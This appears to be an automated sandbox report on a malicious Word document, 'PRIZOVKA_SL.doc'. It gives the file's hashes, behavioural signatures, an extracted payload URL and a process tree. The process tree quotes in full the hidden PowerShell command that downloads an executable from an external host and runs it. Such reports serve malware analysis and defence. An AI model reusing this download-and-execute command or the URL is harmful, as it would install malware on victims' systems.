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Analysis
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max time kernel
139s -
max time network
134s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
13/07/2020, 11:40
Static task
static1
Behavioral task
behavioral1
Sample
PRIZOVKA_SL.doc
Resource
win7v200430
Behavioral task
behavioral2
Sample
PRIZOVKA_SL.doc
Resource
win10v200430
General
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Target
PRIZOVKA_SL.doc
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Size
54KB
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MD5
a333fc51570e37262cb4d03305bfb591
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SHA1
f6e9b39410615ebc9f633f2aa803c48118a02e0b
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SHA256
ad55de0ba082e1d0ba31f608e222d5dc9bae470bbc427b21801a37aab7309aa9
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SHA512
26124376a5fb52b6bb63c3947a3635f4e19b479ff987f215d6e87d062706f06715ec076c9fe411c6ec0ff24b7835bd1b4eb60f2f8b1616f0a1228ff65518effb
Malware Config
Extracted
http://fgs.elpadrino.xyz:2095/lado/4.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2092 2536 cmd.exe 65 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2592 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2592 powershell.exe 2592 powershell.exe 2592 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2536 WINWORD.EXE 2536 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2536 wrote to memory of 2092 2536 WINWORD.EXE 69 PID 2536 wrote to memory of 2092 2536 WINWORD.EXE 69 PID 2092 wrote to memory of 2592 2092 cmd.exe 71 PID 2092 wrote to memory of 2592 2092 cmd.exe 71 -
Blacklisted process makes network request 1 IoCs
flow pid Process 13 2592 powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious use of SetWindowsHookEx 18 IoCs
pid Process 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE 2536 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PRIZOVKA_SL.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2536 -
C:\Windows\SYSTEM32\cmd.execmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://fgs.elpadrino.xyz:2095/lado/4.exe',$env:Temp+'\dksll.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dksll.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://fgs.elpadrino.xyz:2095/lado/4.exe',$env:Temp+'\dksll.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\dksll.exe')3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2592
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